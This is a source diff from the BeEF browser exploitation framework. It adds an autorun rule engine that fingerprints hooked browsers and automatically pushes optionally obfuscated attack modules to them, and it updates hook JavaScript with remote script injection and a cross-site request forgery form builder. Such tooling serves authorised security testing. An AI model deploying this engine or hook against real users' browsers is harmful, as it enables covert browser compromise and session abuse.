build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
command_body = evasion.obfuscate(command_module.output) + "\n\n"
else
command_body = command_module.output + "\n\n"
end
# @note prints the event to the console
print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]"
replace_input ? mod_input = 'mod_input' : mod_input = ''
result = %Q|
var #{mod.name}_#{rule_token} = function(#{mod_input}){
#{clean_command_body(command_body, replace_input)}
};
var #{mod.name}_#{rule_token}_can_exec = false;
var #{mod.name}_#{rule_token}_mod_output = null;
|
return {:mod_name => mod.name, :mod_body => result}
rescue => e
print_error e.message
print_debug e.backtrace.join("\n")
end
end
# Removes the beef.execute wrapper in order that modules are executed in the ARE wrapper, rather than
# using the default behavior of adding the module to an array and execute it at polling time.
#
# Also replace <<mod_input>> with mod_input variable if needed for chaining module output/input
def clean_command_body(command_body, replace_input)
begin
cmd_body = command_body.lines.map(&:chomp)
wrapper_start_index,wrapper_end_index = nil
cmd_body.each_with_index do |line, index|
if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/
wrapper_start_index = index
break
end
end
if wrapper_start_index.nil?
print_error "[ARE] Could not find module start index"
end
cmd_body.reverse.each_with_index do |line, index|
if line.include?('});')
wrapper_end_index = index
break
end
end
if wrapper_end_index.nil?
print_error "[ARE] Could not find module end index"
end
cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index+1)).join("\n")
if cleaned_cmd_body.eql?('')
print_error "[ARE] No command to send"
end
# check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)
if replace_input
if cleaned_cmd_body.include?('"<<mod_input>>"')
final_cmd_body = cleaned_cmd_body.gsub('"<<mod_input>>"','mod_input')
elsif cleaned_cmd_body.include?('\'<<mod_input>>\'')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
elsif cleaned_cmd_body.include?('<<mod_input>>')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
else
return cleaned_cmd_body
end
return final_cmd_body
else
return cleaned_cmd_body
end
rescue => e
print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body"
end
end
# Checks if there are any ARE rules to be triggered for the specified hooked browser
#
# Note: browser version checks are supporting only major versions, ex: C 43, IE 11
# Note: OS version checks are supporting major/minor versions, ex: OSX 10.10, Windows 8.1
#
# Returns an array with rule IDs that matched and should be triggered.
# if rule_id is specified, checks will be executed only against the specified rule (useful
# for dynamic triggering of new rulesets ar runtime)
def match(browser, browser_version, os, os_version, rule_id=nil)
match_rules = []
if rule_id != nil
rules = [BeEF::Core::Models::Rule.find(rule_id)]
else
rules = BeEF::Core::Models::Rule.all
end
return nil if rules == nil
return nil unless rules.length > 0
print_info "[ARE] Checking if any defined rules should be triggered on target."
# TODO handle cases where there are multiple ARE rules for the same hooked browser.
# TODO the above works well, but maybe rules need to have priority or something?
rules.each do |rule|
begin
browser_match, os_match = false, false
b_ver_cond = rule.browser_version.split(' ').first
b_ver = rule.browser_version.split(' ').last
os_ver_rule_cond = rule.os_version.split(' ').first
os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
# Most of the times Linux/*BSD OS doesn't return any version
# (TODO: improve OS detection on these operating systems)
if os_version != nil && !@VERSION_STR.include?(os_version)
os_ver_hook_maj = os_version.split('.').first
os_ver_hook_min = os_version.split('.').last
# the following assignments to 0 are need for later checks like:
# 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
os_ver_hook_min = 0 if os_version.split('.').length == 1
os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
else
# most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea
# to switch from strings to numbers in OS versioning. To prevent rewriting code later on,
# we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
os_ver_hook_maj, os_ver_hook_min = 5, 0 if os_version == 'XP'
os_ver_hook_maj, os_ver_hook_min = 6, 0 if os_version == 'Vista'
end
os_ver_rule_maj, os_ver_rule_min = 5, 0 if os_ver_rule_maj == 'XP'
os_ver_rule_maj, os_ver_rule_min = 6, 0 if os_ver_rule_maj == 'Vista'
next unless @VERSION.include?(b_ver_cond)
next unless BeEF::Filters::is_valid_browserversion?(b_ver)
next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
# os_ver without checks as it can be very different or even empty, for instance on linux/bsd)
# skip rule unless the browser matches
browser_match = false
# check if rule specifies multiple browsers
if rule.browser !~ /\A[A-Z]+\Z/
rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b|
browser_match = true if b == browser || b == 'ALL'
end
# else, only one browser
else
next unless rule.browser == 'ALL' || browser == rule.browser
# check if the browser version matches
browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s)
if browser_version_match
browser_match = true
else
browser_match = false
end
print_more "Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : #{browser_version_match}"
end
next unless browser_match
# skip rule unless the OS matches
next unless rule.os == 'ALL' || os == rule.os
# check if the OS versions match
if os_version != nil || rule.os_version != 'ALL'
os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s)
os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s)
else
# os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL )
os_major_version_match, os_minor_version_match = true, true
end
os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match)
print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}"
if browser_match && os_match
print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}."
match_rules.push(rule.id)
end
rescue => e
print_error e.message
print_debug e.backtrace.join("\n")
end
end
print_more "Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser type/version."
return match_rules
end
# compare versions
def compare_versions(ver_a, cond, ver_b)
return true if cond == 'ALL'
return true if cond == '==' && ver_a == ver_b
return true if cond == '<=' && ver_a <= ver_b
return true if cond == '<' && ver_a < ver_b
return true if cond == '>=' && ver_a >= ver_b
return true if cond == '>' && ver_a > ver_b
return false
end
end
end
end
end

View File

@@ -0,0 +1,91 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
class Parser
include Singleton
def initialize
@config = BeEF::Core::Configuration.instance
end
BROWSER = ['FF','C','IE','S','O','ALL']
OS = ['Linux','Windows','OSX','Android','iOS','BlackBerry','ALL']
VERSION = ['<','<=','==','>=','>','ALL','Vista','XP']
CHAIN_MODE = ['sequential','nested-forward']
MAX_VER_LEN = 15
# Parse a JSON ARE file and returns an Hash with the value mappings
def parse(name,author,browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode)
begin
success = [true]
return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode)
return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name)
return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author)
# if multiple browsers were specified, check each browser
if browser.kind_of?(Array)
browser.each do |b|
return [false, 'Illegal browser definition'] unless BROWSER.include?(b)
end
# else, if only one browser was specified, check browser and browser version
else
return [false, 'Illegal browser definition'] unless BROWSER.include?(browser)
if browser_version != 'ALL'
return [false, 'Illegal browser_version definition'] unless
VERSION.include?(browser_version[0,2].gsub(/\s+/,'')) &&
BeEF::Filters::is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/,'')) && browser_version.length < MAX_VER_LEN
end
end
if os_version != 'ALL'
return [false, 'Illegal os_version definition'] unless
VERSION.include?(os_version[0,2].gsub(/\s+/,'')) &&
BeEF::Filters::is_valid_osversion?(os_version[2..-1].gsub(/\s+/,'')) && os_version.length < MAX_VER_LEN
end
return [false, 'Illegal os definition'] unless OS.include?(os)
# check if module names, conditions and options are ok
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first
if mod != nil
modk = BeEF::Module.get_key_by_database_id(mod.id)
mod_options = BeEF::Module.get_options(modk)
opt_count = 0
mod_options.each do |opt|
if opt['name'] == cmd_mod['options'].keys[opt_count]
opt_count += 1
else
return [false, "The specified option (#{cmd_mod['options'].keys[opt_count]
}) for module (#{cmd_mod['name']}) does not exist"]
end
end
else
return [false, "The specified module name (#{cmd_mod['name']}) does not exist"]
end
end
exec_order.each{ |order| return [false, 'execution_order values must be Integers'] unless order.integer?}
exec_delay.each{ |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer?}
return [false, 'execution_order and execution_delay values must be consistent with modules numbers'] unless
modules.size == exec_order.size && modules.size == exec_delay.size
success
rescue => e
print_error "#{e.message}"
print_debug "#{e.backtrace.join("\n")}"
return [false, 'Something went wrong.']
end
end
end
end
end
end

View File

@@ -0,0 +1,98 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
class RuleLoader
include Singleton
def initialize
@config = BeEF::Core::Configuration.instance
@debug_on = @config.get('beef.debug')
end
# this expects parsed JSON as input
def load(data)
begin
name = data['name']
author = data['author']
browser = data['browser']||'ALL'
browser_version = data['browser_version']||'ALL'
os = data['os']||'ALL'
os_version = data['os_version']||'ALL'
modules = data['modules']
exec_order = data['execution_order']
exec_delay = data['execution_delay']
chain_mode = data['chain_mode']
parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse(
name,author,browser,browser_version,os,os_version,modules,exec_order,exec_delay,chain_mode)
if parser_result.length == 1 && parser_result.first
print_info "[ARE] Ruleset (#{name}) parsed and stored successfully."
if @debug_on
print_more "Target Browser: #{browser} (#{browser_version})"
print_more "Target OS: #{os} (#{os_version})"
print_more "Modules to Trigger:"
modules.each do |mod|
print_more "(*) Name: #{mod['name']}"
print_more "(*) Condition: #{mod['condition']}"
print_more "(*) Code: #{mod['code']}"
print_more "(*) Options:"
mod['options'].each do |key,value|
print_more "\t#{key}: (#{value})"
end
end
print_more "Exec order: #{exec_order}"
print_more "Exec delay: #{exec_delay}"
end
are_rule = BeEF::Core::Models::Rule.new(
:name => name,
:author => author,
:browser => browser,
:browser_version => browser_version,
:os => os,
:os_version => os_version,
:modules => modules.to_json,
:execution_order => exec_order,
:execution_delay => exec_delay,
:chain_mode => chain_mode)
are_rule.save
return { 'success' => true, 'rule_id' => are_rule.id}
else
print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last
return { 'success' => false, 'error' => parser_result.last }
end
rescue => e
err = 'Malformed JSON ruleset.'
print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}"
return { 'success' => false, 'error' => err }
end
end
def load_file(json_rule_path)
begin
rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)
self.load JSON.parse(rule_file)
rescue => e
print_error "[ARE] Failed to load ruleset from #{json_rule_path}"
end
end
def load_directory
Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule|
print_debug "[ARE] Processing rule: #{rule}"
self.load_file rule
end
end
end
end
end
end

View File

@@ -1,47 +1,18 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.are = {
init:function(){
var Jools = require('jools');
this.ruleEngine = new Jools();
status_success: function(){
return 1;
},
send:function(module){
// there will probably be some other stuff here before things are finished
this.commands.push(module);
status_unknown: function(){
return 0;
},
execute:function(inputs){
this.rulesEngine.execute(input);
},
cache_modules:function(modules){},
rules:[
{
'name':"exec_no_input",
'condition':function(command,browser){
//need to figure out how to handle the inputs
return (!command['inputs'] || command['inputs'].length == 0)
},
'consequence':function(command,browser){}
},
{
'name':"module_has_sibling",
'condition':function(command,commands){
return false;
},
'consequence':function(command,commands){}
},
{
'name':"module_depends_on_module",
'condition':function(command,commands){
return false;
},
'consequence':function(command,commands){}
}
],
commands:[],
results:[]
status_error: function(){
return -1;
}
};
beef.regCmp("beef.are");

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -12,66 +12,72 @@
$j = jQuery.noConflict();
if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
var BeefJS = {
version: '<%= @beef_version %>',
// This get set to true during window.onload(). It's a useful hack when messing with document.write().
pageIsLoaded: false,
// An array containing functions to be executed by the window.onpopstate() method.
onpopstate: new Array(),
// An array containing functions to be executed by the window.onclose() method.
onclose: new Array(),
// An array containing functions to be executed by Beef.
commands: new Array(),
// An array containing all the BeEF JS components.
components: new Array(),
/**
* Adds a function to display debug messages (wraps console.log())
* @param: {string} the debug string to return
*/
debug: function(msg) {
if (!<%= @client_debug %>) return;
if (typeof console == "object" && typeof console.log == "function") {
console.log(msg);
} else {
// TODO: maybe add a callback to BeEF server for debugging purposes
//window.alert(msg);
}
},
var BeefJS = {
/**
* Adds a function to execute.
* @param: {Function} the function to execute.
*/
execute: function(fn) {
if ( typeof beef.websocket == "undefined"){
this.commands.push(fn);
}else{
fn();
version: '<%= @beef_version %>',
// This get set to true during window.onload(). It's a useful hack when messing with document.write().
pageIsLoaded: false,
// An array containing functions to be executed by the window.onpopstate() method.
onpopstate: new Array(),
// An array containing functions to be executed by the window.onclose() method.
onclose: new Array(),
// An array containing functions to be executed by Beef.
commands: new Array(),
// An array containing all the BeEF JS components.
components: new Array(),
/**
* Adds a function to display debug messages (wraps console.log())
* @param: {string} the debug string to return
*/
debug: function(msg) {
if (!<%= @client_debug %>) return;
if (typeof console == "object" && typeof console.log == "function") {
var currentdate = new Date();
var pad = function(n){return ("0" + n).slice(-2);}
var datetime = currentdate.getFullYear() + "-"
+ pad(currentdate.getMonth()+1) + "-"
+ pad(currentdate.getDate()) + " "
+ pad(currentdate.getHours()) + ":"
+ pad(currentdate.getMinutes()) + ":"
+ pad(currentdate.getSeconds());
console.log('['+datetime+'] '+msg);
} else {
// TODO: maybe add a callback to BeEF server for debugging purposes
//window.alert(msg);
}
},
/**
* Adds a function to execute.
* @param: {Function} the function to execute.
*/
execute: function(fn) {
if ( typeof beef.websocket == "undefined"){
this.commands.push(fn);
}else{
fn();
}
},
/**
* Registers a component in BeEF JS.
* @params: {String} the component.
*
* Components are very important to register so the framework does not
* send them back over and over again.
*/
regCmp: function(component) {
this.components.push(component);
}
/**
* Registers a component in BeEF JS.
* @params: {String} the component.
*
* Components are very important to register so the framework does not
* send them back over and over again.
*/
regCmp: function(component) {
this.components.push(component);
}
};
window.beef = BeefJS;
window.beef = BeefJS;
}

File diff suppressed because it is too large Load Diff

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -71,12 +71,37 @@ beef.browser.cookie = {
( ( domain ) ? ";domain=" + domain : "" ) +
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
},
/* Never stop the madness dear C. */
veganLol: function (){
var to_hell= '';
var min = 17;
var max = 25;
var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
var grunt = function(){
var moo = Math.floor(Math.random() * 62);
var char = '';
if(moo < 36){
char = String.fromCharCode(moo + 55);
}else{
char = String.fromCharCode(moo + 61);
}
if(char != ';' && char != '='){
return char;
}else{
return 'x';
}
};
while(to_hell.length < lol_length){
to_hell += grunt();
}
return to_hell;
},
hasSessionCookies: function (name)
{
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', '', '/', '', '' );
hasSessionCookies: function (name){
this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', '');
@@ -84,11 +109,8 @@ beef.browser.cookie = {
},
hasPersistentCookies: function (name)
{
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', 1, '/', '', '' );
hasPersistentCookies: function (name){
this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', '');

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -16,7 +16,7 @@ beef.browser.popup = {
blocker_enabled: function ()
{
screenParams = beef.browser.getScreenSize();
screenParams = beef.hardware.getScreenSize();
var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
if (popUp == null || typeof(popUp)=='undefined') {
return true;

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -140,7 +140,7 @@ beef.dom = {
if ($j(this).attr('href') != '')
{
e.preventDefault();
beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
$j(document).attr('title', $j(this).html());
document.body.scroll = "no";
document.documentElement.style.overflow = 'hidden';
@@ -230,6 +230,13 @@ beef.dom = {
return form;
},
loadScript: function(url) {
var s = document.createElement('script');
s.type = 'text/javascript';
s.src = url;
$j('body').append(s);
},
/**
* Get the location of the current page.
* @return: the location.
@@ -452,7 +459,13 @@ beef.dom = {
var attributes = inputs[i];
input = document.createElement('input');
for(key in attributes){
input.setAttribute(key, attributes[key]);
if (key == 'name' && attributes[key] == 'submit') {
// workaround for https://github.com/beefproject/beef/issues/1117
beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
input.setAttribute('Submit', attributes[key]);
} else {
input.setAttribute(key, attributes[key]);
}
}
formXsrf.appendChild(input);
}

Some files were not shown because too many files have changed in this diff Show More